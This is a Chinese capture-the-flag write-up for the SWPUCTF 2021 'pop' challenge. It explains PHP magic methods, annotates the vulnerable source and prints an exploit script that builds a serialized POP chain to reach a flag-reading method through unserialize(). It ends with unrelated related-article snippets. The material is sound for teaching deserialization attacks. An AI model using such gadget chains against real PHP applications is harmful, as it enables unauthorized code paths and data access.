[SWPUCTF 2021 新生赛]pop

 常见的魔术方法

魔术方法__construct()	类的构造函数,在对象实例化时调用
__destruct()	类的析构函数,在对象被销毁时被调用
__call()		在对象中调用一个不可访问的对象时被调用,比如一个对象被调用时,里面没有程序想调用的属性
__get()			个人觉得和call函数类似
__isset()		当一个对象调用isset()或empty()时被调用
__sleep()		执行serialize()时,先会调用这个函数
__wakeup()		执行unserialize()时,先会调用这个函数,改属性键值可绕过
__toString()	类被当成字符串时被调用,如出现echo或者pre_match时
__invoke()		以函数的形式调用一个对象时被调用
__clone()		出现clone函数,会被调用

 源码

# 源码<?phperror_reporting(0);
show_source("index.php");class w44m{private $admin = 'aaa';protected $passwd = '123456';public function Getflag(){if($this->admin === 'w44m' && $this->passwd ==='08067'){include('flag.php');echo $flag;}else{echo $this->admin;echo $this->passwd;echo 'nono';}}
}class w22m{public $w00m;public function __destruct(){echo $this->w00m;}
}class w33m{public $w00m;public $w22m;public function __toString(){$this->w00m->{$this->w22m}();return 0;}
}$w00m = $_GET['w00m'];
unserialize($w00m);?>

源码解读 

# 注释版<?phperror_reporting(0); // 定义报错等级为0,也就说不显示代码报错!
show_source("index.php"); // 显示index.php源码!class w44m{ # 定义类 w44m private $admin = 'aaa'; // 定义私有成员变量为admin,值为aaaprotected $passwd = '123456'; // 定义私有成员变量为passwd,值为123456public function Getflag(){ // 定义公共方法 Getflagif($this->admin === 'w44m' && $this->passwd ==='08067'){ // 判断这两个私有成员变量的值是否为 w44m \ 08067include('flag.php'); // 如果满足if条件语句,则包含flag.php文件!echo $flag;  // 并输出变量flag}else{echo $this->admin;echo $this->passwd;echo 'nono'; // 否则,就打印当前私有变量admin、passwd 输入的字符值!}}
}class w22m{ // 定义 w22m类public $w00m;public function __destruct(){ // w22m类中的析构函数为空,这意味着在对象被销毁时不会执行任何特定的操作 !  // 类的析构函数,在对象被销毁时被调用!echo $this->w00m; // }/*$this->w00m->{$this->w22m}();会调用函数,所以只需要给$w00m赋一个w44m类,然后再给w22m赋一个Getflag就能成功调用该函数。*/
}class w33m{ // 定义 w33m类public $w00m;public $w22m;public function __toString(){ # 类被当成字符串时被调用,如出现echo或者pre_match时$this->w00m->{$this->w22m}();return 0;/*再再考虑一下如何调用这个w33m类呢??上面写过__toString()这个方法会在一个对象被当作字符串时被调用,于是我们就能看到w22m这个类里面的echo函数。我们只要给w00m赋一个w33m类,就能调用。*/}
}/*
$this->w00m:访问存储在属性 $w00m 中的对象。
->{$this->w22m}:调用存储在属性 $w22m 中的方法名对应的方法,作用于从 $w00m 获取的对象上。
动态地在一个对象上调用一个方法,其中对象和方法名分别由类 w33m 内的属性 $w00m 和 $w22m 确定。
*/// 这一题就是构造pop链!
# w44m类用于读取flag,所以是这条链的尾部!
# 对象被销毁时候会调用析构函数 __destruct() ,所以w22m是头部!
# 那么w33m 就是中间部分了!$w00m = $_GET['w00m']; // 注意 ,这里传参为 w00m
unserialize($w00m); // 序列化!?>

 exp脚本

# exp<?php
class w44m{private $admin = 'w44m';protected $passwd = '08067';
}class w22m{public $w00m;
}class w33m{public $w00m;public $w22m;
}$a = new w22m;
$a -> w00m = new w33m;
$a -> w00m -> w00m = new w44m;
$a -> w00m -> w22m = 'Getflag';echo serialize($a)
?>

构造pop链!第一次做觉得难,多做几次,就简单了!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/841734.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ML307R OpenCPU 数据保存文件系统fs使用

一、函数介绍 二、实现数据保存 三、代码下载地址 一、函数介绍 以下是cm_fs.h里面的函数介绍 /*** brief 文件指针定位** param [in] fd 文件描述符* param [in] offset 指针偏移量* param [in] base 偏移起始点&#xff0c;CM_FS_SEEK_SET&#xff1a;文件开头 CM_FS…

Leetcode260

260. 只出现一次的数字 III - 力扣&#xff08;LeetCode&#xff09; class Solution {public int[] singleNumber(int[] nums) {//通过异或操作,使得最终结果为两个只出现一次的元素的异或值int filterResult 0;for(int num:nums){filterResult^num;}//计算首个1(从右侧开始)…

视频号小店怎么进入优选联盟?入驻优选联盟都有什么条件?

大家好&#xff0c;我是电商花花。 视频号小店想要出单、爆单&#xff0c;不管在流量上还是销量都离不开达人带货&#xff0c;因为目前视频号小店上基本上就没有自然流量&#xff0c;想出单只能做达人带货。 而视频号小店想要找达人带货&#xff0c;必须是企业店铺&#xff0…

数据结构(七)查找

2024年5月26日一稿(王道P291) 7.1 查找的基本概念 7.2 顺序查找和折半查找 7.2.1 顺序查找 7.2.2 折半查找 7.2.3 分块查找 7.3 树形查找 7.3.1 二叉排序树(BST)

根据Depth Quality Tool的z轴误差值确认相机是否需要进行相机内参校准

下载Depth Quality Tool深度质量验证工具 网盘链接【RealSense SDK v2.55.1】 链接&#xff1a;https://pan.baidu.com/s/1NrlbwNDBUL8wpWfVwbpMwA?pwd2jl0 提取码&#xff1a;2jl0 打开Depth Quality Tool深度质量验证工具 找一面墙作为目标&#xff0c;将摄像头水平对准墙…

第四课 communcation服务-can配置第二弹

Davinci配置目标: 介绍DBC基本属性,并且配置出一个DBC。 将DBC导入到vector的davinci工具,生成我们想要的代码。 Davinci配置步骤: 1. 编辑DBC文件 DBC文件是一种非常重要的工具,所谓DBC就是Database CAN,CAN网络的数据库文件,定义了CAN网络的节点、消息、信号的所有…

小白入职 必要熟悉 Git / tortoiseGit 工具

1.安装Git 1.1 了解Git Git是分布式版本控制系统&#xff0c;没有中央服务器的每个人的电脑就是一个完整的版本库&#xff0c;工作时无需联网可多人协作&#xff0c;只需把各自的修改推送给对方&#xff0c;就可以互相看到对方的修改了 分布式版本控制工具管理方式&#xff…

架构师必考题--软件系统质量属性

软件系统质量属性 1.质量属性2.质量属性场景描述3.系统架构评估 这个知识点是系统架构师必考的题目&#xff0c;也是案例分析题第一题&#xff0c; 有时候会出现在选择题里面&#xff0c;考的分数也是非常高的。 1.质量属性 属性说明可用性错误检测/恢复/避免性能资源需求/管理…

《python编程从入门到实践》day39加更

# 昨日知识点回顾 添加主题、条目 # 今日知识点学习 19.1.3 编辑条目 1.URL模式edit——entry # learning_logs/urls.py ---snip---# 用于编辑条目的页面path(edit_entry/<int:entry_id>/, views.edit_entry, nameedit_entry), ] 2.视图函数edit_entry() # views.py fr…

MySQL数据库中的多表查询/连接查询操作

类型&#xff1a;内连接 &#xff0c;外连接{左外连接&#xff0c;右外连接} 之所以要使用连接查询的意义就是为了&#xff0c;借助数据库可以避免大量的数据重复。 进行连接查询的前提是要求多张表之间存在相关联的字段。 这里指的相关联的字段就是表与表之间存在着关系&am…

matplotlib latex表格

使用python3环境 import matplotlib.gridspec as gridspec import matplotlib.pyplot as pltimport numpy as np import matplotlib as mpl #mpl.use(pgf)def figsize(scale, nplots 1):fig_width_pt 390.0 # Get this from LaTeX using \the\text…

五种独立成分分析(ICA)

代码原理及流程 代码实现了混合信号的独立成分分析&#xff08;ICA&#xff09;过程&#xff0c;主要包括以下几个步骤&#xff1a; 原始语音信号读取与显示&#xff1a;首先读入原始的两个语音信号(music.wav和man.wav)&#xff0c;并显示在图中的第一和第二个子图中。混合声…

MacOS使用PhpStorm+Xdebug断点调式

基本环境&#xff1a; MacOS m1 PhpStorm 2024.1 PHP7.4.33 Xdebug v3.1.6 1、php.ini 配置 [xdebug] zend_extension "/opt/homebrew/Cellar/php7.4/7.4.33_6/pecl/20190902/xdebug.so" xdebug.idekey "PHPSTORM" xdebug.c…

基础—SQL—DDL—建表、查表、修改表以及总结

一、DDL—表—创建表与数据类型的设定 &#xff08;1&#xff09;要求 根据需求创建表(设计合理的数据类型、长度) 设计一张员工信息表&#xff0c;要求如下: 1、编号&#xff08;纯数字) 2、员工工号(字符串类型&#xff0c;长度不超过10位) 3、员工姓名&#xff08;字符串类…

是的,我换logo了!

大家好&#xff0c;我是记得诚。 当你收到推文的时候&#xff0c;会发现记得诚换logo了&#xff01; 之前是这样的。 现在是这样的。 这个新logo&#xff08;头像&#xff09;是2年前在淘宝上请人做的&#xff0c;价值37人民币&#xff0c;但一直没有换上。当时还发了一个朋友…

python纯脚本搬砖DNF之深度学习,工作室适用

声明&#xff1a; 本文章仅作学习交流使用,对产生的任何影响&#xff0c;本人概不负责. 转载请注明出处:https://editor.csdn.net/md?articleId103674748 主要功能 脚本已初步完成&#xff0c;可以上机实战了 1.搬砖研究所、海伯伦&#xff08;持续更新中&#xff09; 2.自…

Mysql中表之间的关系

表之间的关系 一对一、多对一&#xff08;其实就是主从关系&#xff0c;在从表中设置一个外键关联上主表&#xff09;、多对多关系&#xff08;需要一个中间表&#xff0c;设置两个外键&#xff0c;分别关联到两个表的主键&#xff09; 比如订单和商品之间&#xff1a;一个订单…

Spring从零开始学使用系列(四)之@PostConstruct和@PreDestroy注解的使用

如果各位老爷觉得可以&#xff0c;请点赞收藏评论&#xff0c;谢谢啦&#xff01;&#xff01; 文章中涉及到的图片均由AI生成 公众号在最下方&#xff01;&#xff01;&#xff01; 目录 1. 介绍 1.1 PostConstruct概述 1.2 PreDestroy概述 2. 基本用法 2.1 注册CommonAnn…

AlexNet论文解析—ImageNet Classification with Deep Convolutional Neural Networks

AlexNet论文解析—ImageNet Classification with Deep Convolutional Neural Networks 2012 研究背景 认识数据集&#xff1a;ImageNet的大规模图像识别挑战赛 LSVRC-2012&#xff1a;ImageNet Large Scale Visual Recoanition Challenge 类别训练数据测试数据图片格式Mnist1…

安装mamba时报错bare_metal_version

原因&#xff1a;缺少cuda118的环境版本&#xff0c;直接安装 nvidia/label/cuda-11.8.0 可解决&#xff0c;代码如下&#xff1a; conda install -c "nvidia/label/cuda-11.8.0" cuda-nvcc